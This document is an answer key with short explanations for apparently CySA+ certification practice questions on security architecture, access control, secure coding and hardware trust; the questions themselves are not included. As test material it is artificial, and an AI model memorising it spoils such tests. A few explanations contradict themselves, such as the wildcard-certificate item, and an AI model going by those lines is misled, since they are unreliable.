C. Tarpits are a form of active defense that decoy or bait attackers. Passive defenses include cryptography, security architecture, and similar options. Sticky defenses and reaction-based defenses were made up for this question.

C. Trusted foundries are part of the Department of Defense's program that ensures that hardware components are trustworthy and have not been compromised by malicious actors. A trusted platform module (TPM) is a hardware security module, OEMs are original equipment manufacturers but may not necessarily have completed trusted hardware sources, and gray-market providers sell hardware outside of their normal or contractually allowed areas.

A. Susan's best option is to use an automated testing sandbox that analyzes the applications for malicious or questionable behavior. Although this may not catch every instance of malicious software, the only other viable option is decompiling the applications and analyzing the code, which would be incredibly time consuming. Since she doesn't have the source code, Fagan inspection won't work (and would take a long time too), and running a honeypot is used to understand hacker techniques, not to directly analyze application code.

C. Manesh knows that the file she downloaded and computed a checksum for does not match the MD5 checksum that was calculated by the providers of the software. She does not know if the file has been corrupted or if attackers have modified the file, but she may want to contact the providers of the software to let them know about the issue—and she definitely shouldn't execute or trust the file!

B. Cloud providers are increasingly making hardware security modules (HSMs) available as part of their offerings. Amazon's CloudHSM, Azure's Dedicated HSM, and Google's Cloud HSM all provide the ability to host, manage, and properly secure encryption keys in their cloud environments.

D. Aziz is using a jump box to provide access. A jump box, sometimes called a jump server or secure administrative host, is a system used to manage devices in a separate, typically higher, security zone. This prevents administrators from using a less secure administrative workstation in the high-security zone.

D.  bcrypt is a strong password-hashing algorithm that includes salts for the stored values. If Charles uses bcrypt, he will have made the best choice from the list, since both MD5 and SHA-1 are not as strong, even with a salt. Encrypting the database may seem like a good idea, but storing plain-text passwords means that an exploit that can read the database while it is decrypted will get plain-text passwords.

C. The diagram shows a signed boot log that is delivered to a remote server. This is how remote attestation works—the local system, which includes a TPM module, creates and signs a boot log to be validated by a remote server.

C. A mandatory access control system relies on the operating system to constrain what actions or access a subject can perform on an object. Role-based access control uses roles to determine access to resources, and discretionary access control allows subjects to control access to objects that they own or are responsible for. Level-based access control is a type of role-based access control.

C. Sahib is performing static analysis, which is analysis performed without running code. He can use tools or manually review the code (and in fact, is likely to do both).

B. Since Carol wants to analyze a program as it runs, you know she needs a dynamic code analysis tool. With the added safety requirement, a sandbox is also needed. Static code analysis looks at source code, no mention is made of decompiling or reverse engineering the code, and Fagan inspection is a formal code analysis process.

D. Mike needs to conduct user acceptance testing (UAT) with a broad group of users to validate the functionality and usability of the software.

A. Mike's team should stress test the application by loading it beyond what its maximum expected load is. They should validate that it performs as expected and that their infrastructure can handle the load of broad usage by the company. Stress testing often tests to a multiple of the maximum expected load to ensure that the application will handle unexpected load conditions.

B. Regression testing checks to ensure that old flaws have not been reintroduced. Mike's team needs to regression test their application, particularly because they reintroduced old code that may have flaws.

A. Susan's best option is to submit the file to a tool like VirusTotal that will scan it for virus-like behaviors and known malware tools. Checking the hash using either a manual check or by using the National Software Reference Library can tell her if the file matches a known good version but won't tell her if it includes malware. Running a suspect file is the worst option on the list.

D. Caitlyn is preparing a decomposition diagram that maps the high-level functions to lower-level components. This will allow her to better understand how the malware package works and may help her identify areas she should focus on.

B. The U.S. DoD Trusted Foundry program works to assure the integrity and confidentiality of integrated circuit (IC) design and manufacturing. This helps to ensure that agents of foreign governments are not able to insert flaws or code into the ICs that could be leveraged for intelligence or cyberwarfare activities.

D. Fuzz testing involves sending invalid or random data to an application to test its ability to handle unexpected data. Fault injection directly inserts faults into error handling paths, particularly error handling mechanisms that are rarely used or might otherwise be missed during normal testing. Mutation testing is related to fuzzing and fault injection, but rather than changing the inputs to the program or introducing faults to it, mutation testing makes small modifications to the program itself. Stress testing is a performance test that ensures applications and the systems that support them can stand up to the full production load.

B. The strategy outlined by Nishi is one of network segmentation—placing separate functions on separate networks. She is explicitly not interconnecting the two networks. VPNs and VLANs are also technologies that could assist with the goal of protecting sensitive information, but they use shared hardware and would not necessarily achieve the level of isolation that Nishi requires.

C. Bobbi is adopting a physical, not logical, isolation strategy. In this approach, known as air-gapping, the organization uses a stand-alone system for the sensitive function that is not connected to any other system or network, greatly reducing the risk of compromise. VLAN isolation and network segmentation involve a degree of interconnection that is not present in this scenario.

C. The Agile software development methodology is characterized by multiple sprints, each producing a concrete result. The Waterfall model follows a series of sequential steps, whereas the Spiral model uses multiple passes through four phases. Rapid Application Development (RAD) uses a five-phase approach in an iterative format.

B. Multifactor authentication helps reduce the risk of a captured or stolen password by requiring more than one factor to authenticate. Attackers are less likely to have also stolen a token, code, or biometric factor. A captive portal is used to authenticate users for guest networks or similar purposes. VPNs (virtual private networks) are used to provide a private network connection that can make a local network act like it is part of a remote network. OAuth is an open protocol for secure authorization.

B. Amanda's team should use full-disk encryption or volume encryption and should secure the encryption keys properly. This will ensure that any data that remains cannot be exposed to future users of the virtual infrastructure. Although many cloud providers have implemented technology to ensure that this won't happen, Amanda can avoid any potential issues by ensuring that she has taken proactive action to prevent data exposure. Using a zero wipe is often impossible because virtual environments may move without her team's intervention, data masking will not prevent unmasked data or temporary data stored on the virtual disks from being exposed, and spanning multiple virtual disks will still leave data accessible, albeit possibly in fragmented form.

B. The most practical approach is for Huan to implement two-factor authentication on the account and retain the approval device himself. This allows him to approve each request but does not require modifying or re-creating the account for each use. The approach where the consultant must advise Huan before using the account does not meet the requirement of Huan approving each use.

B. The diagram already shows a firewall in place on both sides of the network connection. Ian should place a VPN at the point marked by ?s to ensure that communications over the Internet are encrypted. IPSs and DLP systems do provide added security controls, but they do not provide encrypted network connections.

A. Host firewalls operate at the individual system level and, therefore, cannot be used to implement network segmentation. Routers and switches may be used for this purpose by either physically separating networks or implementing VLAN tagging. Network firewalls may also be used to segment networks into different zones.

C. The Fagan inspection is a highly formalized, rigorous code review process that involves six phases. Pair programming, over-the-shoulder reviews, and pass-around code reviews are all examples of lightweight, fairly informal code review processes.

B. As stated in the question, Orizon performs a review of Java classes, indicating that it is performing a source code review. Techniques that perform source code review are grouped into the category of static code analyzers. The other testing techniques listed in this question are all examples of dynamic code analysis, where the testing application actually executes the code.

B. Fuzz testing works by dynamically manipulating input to an application in an effort to induce a flaw. This technique is useful for detecting places where an application does not perform proper input validation.

C. A VPN (virtual private network) is an ideal solution when transmitting traffic across untrusted intermediary networks. Kobe could use a TLS or an IPsec VPN depending on the type of remote access and protocols that he needs. If he requires full access via a variety of IP-based protocols, his best bet would be an IPsec VPN. If he needs application-based access via web browsers and similar tools, a TLS VPN can offer the advantage of not needing a client while offering greater session-level filtering and controls. A VPC (virtual private cloud) is a virtual network provided by a cloud computing vendor, an air gap is a means of keeping two systems or networks from communicating by physically separating them, and physical segmentation breaks a network into different sections using distinct hardware and cabling.

B. Security artifacts created during the Design phase include security architecture documentation and data flow diagrams.

B. Disposition is a separate SDLC phase that is designed to ensure that data is properly purged at the end of an application life cycle. Operations and maintenance activities include ongoing vulnerability scans, patching, and regression testing after upgrades.

D. A Trusted Platform Module (TPM) is used to store RSA encryption keys. These keys are then used to authenticate the system and for other purposes that need cryptographically secure authentication of the system.

C. User acceptance testing (UAT) verifies that code meets user requirements and is typically the last phase of application testing before code is released to production.

D. Olivia needs to review the code without running it, which means she needs to perform a static analysis. Static analysis is often performed with an automated tool, but her security analysts may also choose to review the code manually to identify potential details about the threat actors or what the code may have been specifically intended to do.

A. Olivia will conduct dynamic code analysis, which tests the code by running it while providing appropriate test inputs.

C. Fuzz testing involves sending random or invalid data to an application to test its ability to handle the unexpected data. Olivia should identify a fuzzer (a fuzz testing tool) and run it against the application.

D. The $ character does not necessarily represent a security issue. The greater than/less than brackets ( <>) are used to enclose HTML tags and require further inspection to determine whether they are part of a cross-site scripting attack. The single quotation mark ( ') could be used as part of a SQL injection attack.

C. Security through obscurity is not a good practice. You should not rely on the secrecy of the control (e.g., the location of the web interface) as a security measure. Therefore, obscuring web interface locations is not included on the OWASP security controls list.

D. Query parameterization, input validation, and data encoding are all ways to prevent the database from receiving user-supplied input that injects unwanted commands into an SQL query. Logging and intrusion detection are important controls, but they would detect, rather than prevent, a SQL injection attack.

C. A machine's MAC, or hardware address, will not typically change over time. MAC addresses can also provide useful information like the manufacturer's name, allowing Jill to have a useful guess about what type of device she has discovered during a discovery scan for asset tracking.

B. Asset tagging associates a tag, often with a barcode and/or RFID tag, allowing easy scanning and tracking. Although tagged assets may have a lifespan associated with them from acquisition to disposition, and they should have a documented disposition process, tagging itself is most closely associated with the use of barcodes and RFID tags.

B. The diagram shows a measured boot process in which each boot object sends a hash of the next item to the TPM chip and from there to the boot log.

B. Ian knows that deploying multiple access points in the same space to deploy a physically segmented wireless network would significantly increase both the costs of deployment and the complexity of the network due to access points causing conflicts. His best choice is to logically segment his networks using one set of access points. SSID and WPA segmentation are both made-up terms for this question.

C. Barbara should be most concerned about compromise of the underlying VMware host as a threat model for her virtual segmentation. VLAN hopping (typically done via 802.1q trunking attacks) requires trunking to be turned on, which is unlikely in a virtualized environment like this. Border Gateway Protocol (BGP) route spoofing occurs at the router level, and is once again unlikely to be a threat in a VMware environment.

You may not always know all the technologies in a question like this, so when you prepare for the exam you should consider what you do know when you run into this type of question. Here, you might note that relying on the underlying host for virtualization means that a compromise of the system would allow attackers to overcome the segmentation that is acting to protect them.

C. Relying on hashing means that Charles will only be able to identify the specific versions of malware packages that have already been identified. This is a consistent problem with signature-based detections, and malware packages commonly implement polymorphic capabilities that mean that two instances of the same package will not have identical hashes due to changes meant to avoid signature based detection systems.

A. An air gap, or complete physical isolation, provides the strongest control available on the list provided. To traverse an air gap, one of Noriko's staff would need to physically copy files via a removable drive, or would need to plug a device into the air-gapped network.

C. Routers are devices that are specifically designed to forward network traffic between two or more networks. Firewalls are used to apply rules to traffic that passes through them, whereas IPSs scan and monitor traffic at a deeper level and then apply rules based on the content and behaviors that they see. Switches are used at the edges of networks to connect devices to the network.

C. Using a multifactor solution will significantly decrease the likelihood of a successful phishing attack resulting in an attacker having both factors for any given user. Although deploying multifactor can be complex, it is the most impactful of the options listed. Both password lifespan and length modifications will not change what happens when users accidentally disclose their current password as part of a phishing attack, and a PIN can also be disclosed.

B. The most common factors for multifactor systems today are knowledge factors (like a password) and possession factors, which can include a token, authenticator application, or a smartcard.

C. Angela could roll out a context-based authentication system that has login restrictions based on the staff members' working hours. This can help prevent abuse and limit what an attacker can do after hours as well.

A. NIST has pointed out that SMS is a relatively insecure way to delivering codes as part of a multifactor authentication system. The two most common attacks against SMS message delivery are VoIP hacks, where SMS messages may be delivered to a VoIP system, which can be accessed by an attacker, and SIM swapping attacks, where a SIM card is cloned and SMS messages are also delivered to an attacker.

C. FIPS 140 is a U.S. government standard for information processing, and FIPS 140-2 is used to approve cryptographic modules. PCI DSS is a credit card security standard set by credit card companies, and both HSM-2015 and CA-Check were made up for this question.

B. OpenFlow is used to allow software-defined network (SDN) controllers to push changes to switches and routers, allowing flow control, network traffic partitioning, and testing of applications and configurations.

B. Mandatory access control, or MAC, relies on the operating system to enforce constraints on the ability of subjects to access objects. Unlike discretionary access control (DAC) models, where users can choose to grant access to objects, MAC requires a security policy administrator. RBAC (role-based access control) defines controls by role, and ABAC (attribute-based access control) uses attributes to determine who gets specific rights.

B. A virtual private cloud environment (VPC) describes a pool of resources that are isolated using a variety of technologies, typically including use of private IP addresses and a VLAN or other network isolation technology. VPCs provide what is essentially a private segment of public cloud resources.

C. Rick's team has set up a honeynet—a group of systems set up to attract attackers while capturing the traffic they send and the tools and techniques they use. A honeypot is a single system set up in a similar way, whereas a tarpit is a system set up to slow down attackers. A blackhole is often used on a network as a destination for traffic that will be silently discarded.

A. Scaling a serverless system is a useful way to handle additional traffic but will not prevent denial-of-service (DoS) attacks from driving additional cost. In fact, horizontal scaling will add additional costs as it scales. API keys can be used to prevent unauthorized use of the serverless application, and keys can be deprovisioned if they are abused. Capping API invocations and using timeouts can help limit the maximum number of uses and how much they are used, both of which can help prevent additional costs.

D. Change management helps to ensure that only approved changes are made, that they are properly documented, and that they occur when they are supposed to.

B. Virtualization allows you to run multiple operating systems on the same underlying hardware, whereas containerization lets you deploy multiple applications on the same operating system on a single system. Containerization can allow direct hardware access, whereas virtualization typically does not. Virtualization is not necessary for containerization, although it is often used, but containerization can get performance improvements from bare metal installations. Finally, there is a key difference, as noted in option B.

D. The Waterfall model follows a series of sequential steps, as shown in the diagram. The Agile software development methodology is characterized by multiple sprints, each producing a concrete result. The Spiral model uses multiple passes through four phases, resulting in a spiral-like diagram. Rapid Application Development (RAD) uses a five-phase approach in an iterative format.

A. Virtual desktop infrastructure (VDI) environments store data on the server rather than on the local device, making them an attractive alternative when theft of data from local systems is a concern.

B. Workloads in a secure containerization environment should be distributed in a way that allows hosts to only run containers of a specific security level. Since Brandon has three different security levels in his environment, he should use separate hosts that can be configured to secure the data appropriately while also limiting the impact if a container is breached.

B. Privileged accounts typically include local and domain administrators, SA and other accounts that manage databases, root accounts, and other administrative accounts on Linux and Unix systems, service accounts, and similar accounts on network and other devices.

A. If Ned implements multifactor authentication for his environment, he can use security tokens or other one-time password (OTP) options to ensure that attackers will not be able to use stolen credentials successfully even if passwords are exposed. Password complexity rules won't help with a keylogger, and expiring passwords with lifespan rules can limit how long the attacker can use them, but even with very short lifespans the attacker may still have them available for some time. Finally, preventing USB devices from being plugged in can help, but software keyloggers won't be caught or prevented by this solution.

B. All of these are examples of single sign-on (SSO) implementations. They allow a user to use a single set of credentials to log in to multiple different services and applications. When federated, SSO can also allow a single account to work across a variety of services from multiple organizations.

D. SAML, OpenID, and OAuth are all common protocols used for federation. Kerberos is a network authentication protocol largely used inside organizations.

B. A jump host, or jump box, allows for easier logging of administrative access and can serve as an additional layer of protection between administrative workstations and the protected network. In this case, Mei's needs are best served by a jump host. Bastion hosts are fully exposed to attacks. Administrative virtual machines can be useful but don't make central auditing quite as easy and may allow a compromised virtual machine host to be a problem. Finally, direct SSH or RDP require auditing of all administrative workstations and could allow a compromised workstation to cause issues by allowing it to directly connect to the secure network.

A. Greg's job is as a system administrator, and thus this is role-based access control (RBAC). If the question had specified that the rights were granted based on his title, instead of his job, it could be an attribute-based access control system (ABAC). Mandatory access controls (MACs) are enforced by the operating system, whereas discretionary access controls (DACs) are delegated to users.

A. Manual review techniques are useful when automation is difficult or where human knowledge is required. Wherever possible, automated assessment and management techniques should be used to ensure that reviews happen more frequently and issues are detected more consistently.

B. A cloud access security broker (CASB) can perform actions like monitoring activity, managing cloud security policies for SaaS services, enforcing security policies, logging, alerting, and in-line policy enforcement when deployed with agents on endpoint devices or as a proxy.

C. If Lucca changes the settings to archive the log when full, the system will create a new log file each time the file fills up. Unless he runs out of drive space, Lucca will have files for as long as he wants to capture them—but he will need to manually clear the log files every so often.

A. TLS (Transport Layer Security) is used to secure web and other types of traffic. Many people still call TLS SSL out of habit, but TLS is actually a different protocol and has replaced SSL (Secure Sockets Layer). IPsec is an encryption protocol used for VPNs and other point-to-point connections between networks. PPTP (Point-to-Point Tunneling Protocol) has a number of security issues.

A. TLS can still work with an expired certificate; however, web browsers will report that the certificate is expired. Expired certificates are not revoked—in fact, revocation is a separate process, and certificates are checked against a certificate revocation protocol to ensure that they are valid. Although browsers may report an expired certificate and may make it harder to access the site, the website itself will remain accessible.

A. Active defenses are aimed at slowing down attackers while using their resources. The rest of the terms listed here were made up for this question. Active defenses are sometimes referred to as “deception technology.”

B. Using proven versions of well-known and documented cryptographic algorithms like AES-256 mean that developers can follow secure, well-documented development and utilization practices when developing mobile applications. Using basic cryptographic techniques would limit the ability of developers to select appropriate algorithm. In-house-developed cryptographic algorithms are unlikely to have received the testing and evaluation necessary to be fully secure. Finally, limiting cryptographic techniques to only open source implementations would remove useful libraries and implementations that are part of commercial toolkits.

C. A WAF (web application firewall) can often be used to address the specific SQL injection attack. Claire can either write a rule based on the SQL injection attack or use a broader SQL injection prevention ruleset. An IDS would only detect the attack and would not stop it, whereas DLP (data loss prevention) tools might help if data was being stolen but won't stop SQL injection. Some firewalls may have WAF functionality built in, but here the best option is the dedicated web application firewall.

Donna has been assigned as the security lead for a DevSecOps team building a new web application. As part of the effort, she has to oversee the security practices that the team will use to protect the application. Use your knowledge of secure coding practices to help Donna guide her team through this process in the next three questions.

B. Using Unicode encoding to avoid blacklists is a common technique. OWASP recommends you avoid attempting to detect potentially dangerous characters and patterns of characters with a blacklist.

B. A web proxy is a commonly used tool for web application attacks and allows data to be changed after client-side validation. In general, client-side validation is not a secure technique because of this.

A. Cross-site scripting is the primary threat that is created by not using secure output encoding. Allowing users to enter arbitrary input and then displaying it to other users can result in a cross-site scripting attack. SQL injection is most common as a direct attack, whereas cross-site request forgery normally relies on users clicking a malicious link.

D. Attribute-based access controls use attributes like the user's title, organizational IT, demographic information, or other details like environmental attributes or resource attributes to grant access. ABAC can be far more granular than role-based access control (RBAC), but it can also be much more complex to set up and maintain. Mandatory access controls (MACs) are enforced by the operating system, whereas discretionary access controls (DACs) are delegated to users.

C. Although all of these attacks are potential threats to an SOC, the most likely form of attack against network connected IoT devices is through their network connections aimed at the operating system and applications or other software that the devices run.

B. The BIOS, or basic input/output system, of a PC is a type of firmware. In Dell's implementation of this technology, a SHA-256 hash of the new firmware is compared to a known good hash on Dell's servers. If an issue is detected, administrators are notified so that they can take appropriate action.

A. DevSecOps makes security a shared responsibility throughout the development and operations life cycle, and automating some security gates is a common practice to make this happen without causing slowdowns. This means that practitioners must consider both application and infrastructure security constantly from the beginning of the workflow to deployment and support. Implementing zero-day vulnerabilities would be a terrible idea, and having security practitioners exert more control rather than collaboratively making flows work more effectively and removing security features from the integrated development environment aren't great ideas either.

B. OWASP recommends all of these except uploading every file that is submitted to a third-party AV tool. Checking them using a locally hosted tool is a common solution, but you probably don't want to expose every file you receive to a third party, no matter how trusted they may be.

C. Output encoding translates special characters to an equivalent that will not be interpreted as part of a script or other significant character by a user's browser (or other endpoint application). An HIDS would only alarm on potential attacks, rather than stop them; a firewall will not parse the data; and string randomization was made up for this question—but if it did exist, randomized data wouldn't be useful in most applications when displaying input to a user.

C. OWASP recommends a large session ID value to avoid brute-force attacks. 2^128 is 340,282,366,920,938,463,463,374,607,431,768,211,456, a number that is far larger than you would need to avoid duplication of numbers, even for very large groups of users across the entire world. If you encounter a question like this and don't know the answer, you can apply logic. In this case, the number is so large that it doesn't make sense to use it for simply duplication avoidance, and any reasonable number of users—including the entire population of the world—would require fewer bits.

B. The answer that provides the least specific information to potential attackers is the best answer here: login failed; invalid user ID or password does not tell an attacker which option they have wrong or provide hints about which accounts may or may not exist.

B. TLS (Transport Layer Security) is the security protocol used to protect modern web traffic in transit. SSL was the precursor to TLS, whereas VPN technology is used in specific point-to-point scenarios when connecting to remote services or networks. IPsec is a secure network protocol suite, but it is not the most common option in use for web traffic.

B. This code is an example of one way to parameterize queries. Here, the var1 and var2 variables are bound to specific data objects. In some cases, the CySA+ exam may show you examples of code or configurations that you may not be familiar with. In that case, you should read the example carefully for useful context like the statement bindParam here. That should give you a clue to the parameterized queries answer being the correct option.

B. In a service-oriented architecture there are three primary roles: a service provider creates and publishes a web service in a broker or repository. The service broker, registry, or repository provides information about the web services to requesters. Service requesters or consumers use web services after finding entries describing it in the service broker's catalog. Service guardians were made up for this question.

B. The identity provider (IDP) provides the authentication in SAML-based authentication flow. A service provider, or SP, provides services to a user, and the user is typically the principal. A relying party (RP) leverages an IDP to provide authentication services.

A. Using TLS will help to ensure that a third party is unable to insert itself into the message stream. TLS can be used to authenticate the service provider and service consumer while also providing message confidentiality, message integrity protection, and replay defenses.

C. SOAP messages are XML documents that contain an envelope that identifies the document as a SOAP message, a header and body that contain information, and a fault element that contains error messages and status information as necessary.

C. API keys allow individual consumers to be issued their own keys, preventing a public service from being overwhelmed or shared. If a key is misused, it can be disabled while still allowing other legitimate users to use the service.

B. REST-based web services typically make requests in the form of a URL, sometimes with additional information added. SOAP uses XML, and SQL queries are used for databases.

B. The Docker file includes both a username and password, a very insecure means of using credentials for a microservice. Erik will need to work with the team responsible to identify another design option to handle the microservice's authentication needs.

B. Physical access is the best (and often only) way to compromise an air-gapped, physically isolated system. Although some esoteric attack methods can gather information via RF, acoustic, or other leakage, real-world scenarios will require physical access in almost all cases.

B. Hardware security modules (HSMs) are devices that are specifically designed to securely store and manage digital keys for cryptographic systems. They also provide crypto processing capabilities.

C. IPsec VPNs are preferred when users require a full connection to the network they will VPN to. TLS VPNs provide the advantage of accessing specific applications, often using HTTP/HTTPS traffic, whereas IPsec users are treated as full members of the network. SSL is outdated, and WPA2 is a wireless network security protocol.

B. One use of eFuses is to prevent firmware downgrades. To do this, implementations will often burn a specified number of fuses at each new firmware revision. If the number of fuses burned is higher than the required number for the firmware that is being installed, the system knows that the firmware is older and will prevent it from being installed. Since eFuses are burned when they are activated, they cannot be reset. eFuses being burned does not mean that firmware cannot be changed only that a check can be made to ensure that firmware is the correct version or newer. If it is newer, more fuses will be burned to match that version number.

C. UEFI (Unified Extensible Firmware Interface) is a replacement for the BIOS previously used as the low-level software that starts up your computer. UEFI supports Secure Boot, so Dev needs a modern UEFI-enabled system to use it.

A. Trusted execution environments rely on all assets, code, and the underlying OS having been installed and started securely. To do this, trusted execution environments rely on a combination of signature checking, immutable assets, and/or isolation.

B. Apple refers to the separate hardware-based key manager in Apple devices as a Secure Enclave. The Secure Enclave boots separately from the rest of the device and has its own memory used to store private keys. This design is intended to make access to encrypted data very difficult without access to the physical device. A hardware security module (HSM) is a device used to create and manage cryptographic keys. Both a secure bastion and a cryptolocker were made up for this question, although cryptolocker itself is a type of malware.

D. Processor security extensions are intended to protect the operations of the processor, but register wiping isn't a typical feature. Registers typically contain ephemeral data, and wiping them securely would not be a requirement of most commercial CPUs.

C. Atomic execution ensures that the memory in use by an atomic operation cannot be read or written to until the operation is done. Trusted execution environments are secure areas of a CPU, memory coherence ensures that corresponding memory locations for a multicore processor always contain the same cached data, and nonblocking memory was made up for this question, although nonblocking algorithms exist.

B. The certificate issuer is responsible for signing the digital certificate. In this case, the issuer, as shown in the certificate, is Amazon. Starfield Services is the root CA, meaning that it issued the certificate to Amazon and allows it to issue certificates to end users. nd.edu is the subject of the certificate, and RSA is an encryption algorithm used in the certificate.

C. This is a wildcard certificate, meaning that it is valid for the subject domain (nd.edu) as well as any subdomains of that domain (e.g., www.nd.edu). It would not, however, be valid for subdomains. A wildcard certificate for *.business.nd.edu would cover www.business.nd.edu.

A. Certificates are publicly provided and contain the public key for the website. The website retains the private key that generated the certificate. Tom may or may not have his own keys for email encryption, SSH, or other purposes, but they are not involved in this process.

A. The purpose of a digital certificate is to provide the subject's public key to the world. In this case, the subject is the nd.edu website (as well as subdomains of nd.edu), and the certificate presents that site's public key.

A. Holographic stickers show when a device has been opened and are frequently used as an anti-tampering technique. They do not prevent theft, and while asset tags are frequently used for asset management and asset tracking, holographic stickers aren't commonly used for those purposes as they do not offer any advantages over traditional barcodes or RFID stickers.

B. An SED (self-encrypting drive) is always encrypted, and the keys to the drive itself are also encrypted. They provide hardware level security for data with continuous encryption (and decryption) as data is stored and accessed. This means that the only time that the data could be stolen is when the drive in active, and the key to the drive has been presented to the drive using a hardware token or passcode.

C. Amanda's organization needs to invest in change management tools and techniques to ensure that changes are tracked and that the tasks and procedures that go with those changes occur. A project management or ticketing tool may be able to provide some of these capabilities, but change management specific tools can really help keep a sharp focus on the effort. An IDE (integrated development environment) is used for programming rather than for this type of task.

B. The most effective means of checking most firmware to validate that it is a trusted firmware update is to compare the hash of the file that you have against the provided hash values from the manufacturer website.

C. Amanda needs to use a system or device on the air-gapped network to access the HSM. This provides isolation, preventing misconfiguration or other security issues from causing the device to be compromised.

B. During a measured boot process, each object measures the hash of the next object in the chain and stores it securely so that it can be reviewed later. It does not check to see if objects are good or bad, nor does it interrupt the boot.

B. Encrypted data transmission between a CPU and a GPU occurs over a bus, making this a form of bus encryption. Bus encryption protects data that might be observed by an untrusted user or attacker and is used on PCs between the GPU and CPU as part of the digital rights management for paid video content under the PVP-UAB (protected video path) standard.

C. In a SAML transaction, the user initiates a request to the Relying Party, who then redirects the user to the SSO provider. The user then authenticates to the SAML Identity Provider and receives a SAML response, which is sent to the Relying Party as proof of identity.

A. Hardware security modules (HSMs) are hardened and tamper-resistant dedicated hardware devices for cryptographic processing and management, including generating keys, handling digital signatures, and encrypting and decrypting data. Border Gateway Protocol (BGP) is a routing protocol, and SSM was made up for this question.

C. Saeed wants to track items via a physical inventory, which means that he or others on the organization's staff will need to manually validate devices over time. Asset tags using barcodes or RFID tags can make this process much faster by allowing team members to scan them as part of inventory management and asset tracking practices.

A. Symmetric encryption with hard-coded keys is vulnerable to a number of attacks that target those keys. If you're not familiar with the differences between symmetric and asymmetric encryption, you should review them! Once the keys are captured, either via access to the code, disassembly, memory tampering, or another technique, all communications can be decrypted. The other entries are all taken from the OWASP Mobile Application Security checklist.

C. Anti-tampering techniques seek to prevent microprobing and other physical attacks, as well as techniques like freezing the device or applying unexpected voltages or clock feeds. Some anti-tampering solutions will even wipe the protected device's sensitive data if they detect tampering involving these techniques, even if they aren't currently powered up.

A. Patricia's best option is to ensure that her device can handle bus encryption. This will ensure that the updates to the device are not able to be snooped or captured in unencrypted form as they are transferred over the PCIe bus of the system where the devices reside.

B. Since an SED fully encrypts the data it contains, simply deleting the encryption key for the drive is just as secure as a full wipe or other data destruction process. This means that securely disposing of self-encrypting drives is much simpler and faster than other technologies, where a drive wipe or physical destruction may be required.

A. A Trusted Platform Module (TPM) is required to enable Secure Boot and remote attestation capabilities. TPM modules are tamper-resistant security chips that provide various services to allow these boot modes and capabilities to function. A hardware security module (HSM) is used to create, manage, and process encryption keys. A GPM and an MX module were made up for this question.

A. Secured Boot uses cryptographic signatures for executables to check each object against known public keys stored in the BIOS of the system that is running the Secured Boot.

C. Atomic execution ensures that the full write and write operations are completed before any other processor or I/O device can take action on the memory location. The remainder of these options were made up for this question.

D. During a Secure Boot process, the UEFI firmware on a system checks the objects in the boot process. If they do not match, it will result in an error. This is intended to prevent malware from infecting systems but could potentially happen if the manufacturer of the operating system or software does not properly sign objects in the boot process.

C. These are all examples of processor security extensions providing additional cryptographic instructions. Since AES, 3DES, and ECC are all encryption algorithms and SHA-256 is a hashing algorithm, we know that this can't be either of the first two options alone. Bus encryption may use these, but they aren't just examples of bus encryption algorithms.

A. A VPC (virtual private cloud) is an isolated segment of a public cloud. They are typically provided with their own private IP space, and VLANed or otherwise segmented out from other resources in the public cloud.

D. Since API keys limit which clients can access a REST-based service, they can be used to reduce the impact of potential denial-of-service (DoS) attacks. Although it may be possible to overwhelm the server with connections, unless the attackers have a legitimate API key or keys, DoS attacks will be harder to accomplish.

C. Although physical segmentation can make it easier to see specific traffic while providing better network security and increased performance, running a separate infrastructure is rarely a less expensive option.

A. Scott's network has redundancy throughout its network core, including firewalls, core routers, and core switches, but has a single connection to the Internet. In this case Scott should be most worried about that single connection.

D. Diversity of ISPs and fiber paths are both important to ensure that a failure of the ISP or a cut of the fiber along one path will not take Scott's organization offline.

D. Although the edge router shown in point E has only a single connection, most organizations will not identify edge routers or switches as critical points of failure. In this case, since we know his organization does not consider edge devices mission critical, Scott will not identify any other items as single points of failure that he should remediate.

D. Multifactor authentication is the most effective option because attackers will need to present both factors. Even if they know the password, unless they have the second factor their attempt to access the application will fail. Account lockouts and CAPTCHAs can be useful when attempting to prevent brute-force attacks, and complexity settings may make some brute-force attacks slower and harder to conduct.

C. A salt is a unique, randomly generated string added to each password in a hashing process. Salts are then stored in a database in addition to the password hash. A pepper is shared between all passwords and is not unique, nor is it stored in a database. As you might expect, mashing was made up, and hashing is the process that is performed on a salted (and possibly peppered!) password.

B. Segmented networks are almost always used to isolate groups rather than to combine them. Common uses include specific network segments for VoIP, wireless, or specific trust zones and levels.

C. All processes on a Linux system can read these environment variables, meaning that the database username and passwords for the Docker application are exposed to every process running on the system. Kwame will need to work with the team responsible for the service to identify better ways to securely share secrets. Fortunately, there are secrets management APIs and others available for Docker, Kubernetes, and similar tools.

B. Software-defined networks (SDNs) consist of three major layers: the application layer, where information about the network is used to improve flow, configuration, and other items; the control layer, which is where the logic from SDN controllers control the network infrastructure; and the infrastructure layer, which is made up of the networking equipment. If you're not deeply familiar with SDNs, you can address questions like this by reviewing what you do know. The other three options contain elements of the OSI model but don't make sense in the context of SDN.

C. Virtual desktops still run the same operating systems and applications that they provide virtually, and they are not immune to malware. In some cases malware may not be able to persist if the organization is using ephemeral applications and desktops, which are restarted from a clean base image when they are launched.

B. If Micah implements automated vulnerability scanning, he can check to see if the applications that are about to be deployed have known vulnerabilities. Automated patching will also help with this, but will only apply available patches and will not assess whether there are configuration vulnerabilities or unpatched vulnerabilities. Fuzz testing can help to test if the applications have issues with unexpected input but will not address most vulnerabilities, and hashing will only tell him if he is running the version of code that he expects to, not if it is vulnerable.

A. If Susan can automate some security testing so that it is performed as automatically during the development process, DevOps staff can receive immediate feedback on what security improvements, if any, need to be made to their implementations and code.

A. Camille will need to integrate her identity provider (IDP) to provide authentication and authorization. Once users are authenticated, they can use various service providers throughout the federation. She will also probably want to use some form of single sign-on (SSO) service, but it is not required to be part of a federation.

B. The NIST 800-190 guidelines suggest that a hardware root of trust with cryptographic verification of boot mechanisms, system images, and container runtimes using a TPM is a best practice for hardware-based trusted computing.

D. Where possible, NIST recommends segmenting by purpose, data sensitivity, and threat model to separate OS kernels.

C. The NIST 800-190 guidelines note that traditional vulnerability management tools may make assumptions like those in options A and B regarding the systems and applications they are scanning. Since containers are ephemeral and may be updated and changed very frequently, a traditional vulnerability scanning and management approach is likely to be a poor fit for a containerized environment.

B. Collecting data like timing information or acoustic data can provide detail of what is occurring on a system. Each of these is an example of side-channel attacks that can allow attackers to reverse-engineer information about a system that would otherwise not be exposed.

C. The most distinctive feature of privileged account management tools for enterprise use is the ability to manage entitlements across multiple systems throughout an enterprise IT environment. Broader identity and access management systems for enterprises provide user account management and life cycle services, including account expiration tools and password life cycle management capabilities.

